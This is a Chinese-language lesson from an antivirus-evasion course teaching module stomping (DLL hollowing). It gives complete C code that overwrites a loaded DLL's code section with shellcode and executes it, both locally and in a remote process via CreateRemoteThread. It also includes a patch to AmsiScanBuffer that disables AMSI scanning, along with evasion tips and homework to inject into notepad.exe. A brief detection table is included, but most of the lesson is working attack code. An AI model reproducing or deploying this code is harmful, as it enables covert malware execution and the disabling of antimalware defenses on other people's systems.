免杀专题
11、模块镂空
1. 课程目标
掌握模块镂空技术,通过替换已加载DLL的代码段来执行恶意代码,这是一种比进程镂空更隐蔽的注入方式。
1.1 学习目标
- 理解模块镂空与进程镂空的区别
- 掌握如何定位和替换DLL代码段
- 学会处理DLL的代码段权限
- 实现完整的模块镂空注入
2. 名词解释
| 名词 | 英文 | 解释 |
|---|---|---|
| 模块镂空 | Module Stomping | 替换已加载DLL的.text段为恶意代码 |
| DLL镂空 | DLL Hollowing | 模块镂空的另一种叫法 |
| .text段 | .text Section | PE文件中存储可执行代码的区段 |
| 牺牲DLL | Sacrificial DLL | 被选中用于替换代码的目标DLL |
| 代码洞穴 | Code Cave | PE文件中未使用的代码空间 |
| 内存保护 | Memory Protection | 内存页面的读/写/执行权限 |
| LdrLoadDll | - | 加载DLL的Native API |
3. 技术原理
3.1 模块镂空 vs 进程镂空
| 特性 | 模块镂空 | 进程镂空 |
|---|---|---|
| 目标 | 已加载的DLL | 整个进程映像 |
| 需要解映射 | 不需要 | 需要 |
| 隐蔽性 | 更高 | 高 |
| 实现复杂度 | 中等 | 高 |
| 内存扫描检测 | 更难 | 较易 |
3.2 技术流程
┌─────────────────────────────────────────┐
│ 1. 选择牺牲DLL(已加载或强制加载) │
│ 选择不常用、代码段足够大的DLL │
└──────────────────┬──────────────────────┘
↓
┌─────────────────────────────────────────┐
│ 2. 定位DLL的.text代码段 │
│ 解析PE头,找到.text段地址和大小 │
└──────────────────┬──────────────────────┘
↓
┌─────────────────────────────────────────┐
│ 3. 修改.text段内存权限为RWX │
│ VirtualProtect/VirtualProtectEx │
└──────────────────┬──────────────────────┘
↓
┌─────────────────────────────────────────┐
│ 4. 将ShellCode写入.text段 │
│ memcpy或WriteProcessMemory │
└──────────────────┬──────────────────────┘
↓
┌─────────────────────────────────────────┐
│ 5. 恢复内存权限为RX(可选但推荐) │
│ VirtualProtect │
└──────────────────┬──────────────────────┘
↓
┌─────────────────────────────────────────┐
│ 6. 执行ShellCode │
│ 创建线程或函数指针调用 │
└─────────────────────────────────────────┘
3.3 牺牲DLL选择标准
| 标准 | 说明 |
|---|---|
| 代码段大小 | .text段必须大于ShellCode大小 |
| 使用频率 | 选择不常被调用的DLL |
| 系统DLL | 优先选择系统DLL,更不易被怀疑 |
| 签名状态 | 已签名的DLL看起来更合法 |
推荐的牺牲DLL列表:
amsi.dll- 反恶意软件接口(体积小,但可绕过AMSI)mshtml.dll- HTML渲染(体积大)dbghelp.dll- 调试帮助库clbcatq.dll- COM+ 分类管理器propsys.dll- 属性系统
4. 核心实现代码
4.1 本地模块镂空
#include <windows.h>
#include <stdio.h>
// ShellCode示例:MessageBox弹窗
unsigned char shellcode[] = {
// 替换为实际ShellCode
0x90, 0x90, 0x90, 0x90 // NOP占位
};
// 查找DLL的.text段
BOOL FindTextSection(HMODULE hModule, LPVOID* ppTextBase, SIZE_T* pTextSize) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
// 查找.text段或具有执行权限的段
if (memcmp(pSection[i].Name, ".text", 5) == 0 ||
(pSection[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
*ppTextBase = (LPBYTE)hModule + pSection[i].VirtualAddress;
*pTextSize = pSection[i].Misc.VirtualSize;
printf("[+] 找到.text段:\n");
printf(" 名称: %.8s\n", pSection[i].Name);
printf(" 基址: 0x%p\n", *ppTextBase);
printf(" 大小: 0x%X (%d bytes)\n", (DWORD)*pTextSize, (DWORD)*pTextSize);
return TRUE;
}
}
return FALSE;
}
// 本地模块镂空
BOOL LocalModuleStomping(LPCWSTR szDllPath, LPVOID pShellcode, SIZE_T shellcodeSize) {
printf("[*] 开始本地模块镂空\n");
printf("[*] 目标DLL: %ws\n", szDllPath);
// 1. 加载目标DLL
HMODULE hModule = LoadLibraryExW(szDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hModule) {
printf("[-] 加载DLL失败: %d\n", GetLastError());
return FALSE;
}
printf("[+] DLL加载成功: 0x%p\n", hModule);
// 2. 查找.text段
LPVOID pTextBase = NULL;
SIZE_T textSize = 0;
if (!FindTextSection(hModule, &pTextBase, &textSize)) {
printf("[-] 未找到.text段\n");
FreeLibrary(hModule);
return FALSE;
}
// 3. 检查大小是否足够
if (textSize < shellcodeSize) {
printf("[-] .text段太小: 需要%lld, 实际%lld\n", shellcodeSize, textSize);
FreeLibrary(hModule);
return FALSE;
}
// 4. 修改内存权限
DWORD dwOldProtect;
if (!VirtualProtect(pTextBase, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
printf("[-] 修改内存权限失败: %d\n", GetLastError());
FreeLibrary(hModule);
return FALSE;
}
printf("[+] 内存权限已修改为RWX\n");
// 5. 写入ShellCode
memcpy(pTextBase, pShellcode, shellcodeSize);
printf("[+] ShellCode已写入 (%lld bytes)\n", shellcodeSize);
// 6. 恢复内存权限为RX
DWORD dwTemp;
VirtualProtect(pTextBase, shellcodeSize, PAGE_EXECUTE_READ, &dwTemp);
printf("[+] 内存权限已恢复为RX\n");
// 7. 执行ShellCode
printf("[*] 执行ShellCode...\n");
// 方式1:函数指针调用
((void(*)())pTextBase)();
// 或方式2:创建线程
// HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pTextBase, NULL, 0, NULL);
// WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int main() {
printf("========================================\n");
printf(" 模块镂空 (Module Stomping) 演示\n");
printf("========================================\n\n");
// 使用amsi.dll作为牺牲DLL(也可同时绕过AMSI)
LocalModuleStomping(
L"C:\\Windows\\System32\\amsi.dll",
shellcode,
sizeof(shellcode)
);
return 0;
}
4.2 远程进程模块镂空
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 在远程进程中查找已加载的模块
LPVOID FindRemoteModuleBase(DWORD dwPid, LPCWSTR szModuleName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, dwPid);
if (hSnap == INVALID_HANDLE_VALUE) return NULL;
MODULEENTRY32W me = { sizeof(me) };
LPVOID pBase = NULL;
if (Module32FirstW(hSnap, &me)) {
do {
if (_wcsicmp(me.szModule, szModuleName) == 0) {
pBase = me.modBaseAddr;
break;
}
} while (Module32NextW(hSnap, &me));
}
CloseHandle(hSnap);
return pBase;
}
// 远程模块镂空
BOOL RemoteModuleStomping(DWORD dwPid, LPCWSTR szModuleName, LPVOID pShellcode, SIZE_T shellcodeSize) {
printf("[*] 远程模块镂空\n");
printf("[*] 目标PID: %d\n", dwPid);
printf("[*] 目标模块: %ws\n", szModuleName);
// 1. 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE, dwPid
);
if (!hProcess) {
printf("[-] 打开进程失败: %d\n", GetLastError());
return FALSE;
}
// 2. 查找模块基址
LPVOID pModuleBase = FindRemoteModuleBase(dwPid, szModuleName);
if (!pModuleBase) {
printf("[-] 未找到模块\n");
CloseHandle(hProcess);
return FALSE;
}
printf("[+] 模块基址: 0x%p\n", pModuleBase);
// 3. 读取远程PE头
BYTE header[0x1000];
SIZE_T bytesRead;
if (!ReadProcessMemory(hProcess, pModuleBase, header, sizeof(header), &bytesRead)) {
printf("[-] 读取PE头失败\n");
CloseHandle(hProcess);
return FALSE;
}
// 4. 解析PE头,找.text段
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)header;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(header + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
LPVOID pTextBase = NULL;
SIZE_T textSize = 0;
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSection[i].Name, ".text", 5) == 0) {
pTextBase = (LPBYTE)pModuleBase + pSection[i].VirtualAddress;
textSize = pSection[i].Misc.VirtualSize;
break;
}
}
if (!pTextBase) {
printf("[-] 未找到.text段\n");
CloseHandle(hProcess);
return FALSE;
}
printf("[+] .text段地址: 0x%p, 大小: 0x%X\n", pTextBase, (DWORD)textSize);
// 5. 修改远程内存权限
DWORD dwOldProtect;
if (!VirtualProtectEx(hProcess, pTextBase, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
printf("[-] 修改权限失败: %d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
// 6. 写入ShellCode
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, pTextBase, pShellcode, shellcodeSize, &bytesWritten)) {
printf("[-] 写入ShellCode失败: %d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] ShellCode已写入\n");
// 7. 恢复权限
VirtualProtectEx(hProcess, pTextBase, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);
// 8. 创建远程线程执行
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pTextBase,
NULL, 0, NULL);
if (!hThread) {
printf("[-] 创建远程线程失败: %d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] 远程线程已创建\n");
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
5. 高级技术:AMSI绕过结合
模块镂空amsi.dll可以同时实现:
- 代码注入执行
- AMSI绕过
// amsi.dll镂空实现AMSI绕过
BOOL BypassAMSIViaStomping() {
HMODULE hAmsi = LoadLibraryW(L"amsi.dll");
if (!hAmsi) return FALSE;
// 获取AmsiScanBuffer地址
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!pAmsiScanBuffer) return FALSE;
// 直接返回S_OK的ShellCode
// mov eax, 0x80070057 (E_INVALIDARG)
// ret
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
DWORD dwOld;
VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &dwOld);
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, sizeof(patch), dwOld, &dwOld);
printf("[+] AMSI已绕过\n");
return TRUE;
}
6. 检测与防御
6.1 检测方法
| 方法 | 说明 |
|---|---|
| 内存完整性检查 | 比较DLL磁盘和内存中的.text段 |
| 代码签名验证 | 验证内存中代码的签名 |
| ETW监控 | 监控VirtualProtect调用 |
| 异常权限检测 | 检测RWX权限的已签名DLL |
6.2 规避技术
- 选择很少被校验的DLL
- 使用ROP链避免直接执行
- 恢复原始权限后再执行
7. 课后作业
7.1、作业1:基础实现(必做)
- 实现本地模块镂空,选择一个系统DLL
- 验证ShellCode执行成功
7.2、作业2:远程注入(进阶)
- 实现远程进程的模块镂空
- 选择notepad.exe作为目标
7.3、作业3:AMSI绕过(高级)
- 利用模块镂空技术绕过AMSI
- 执行被AMSI拦截的脚本验证
8. 下一课预告
下一课我们将学习Windows策略防止挂钩的技术,了解如何利用CFG、CIG等安全策略。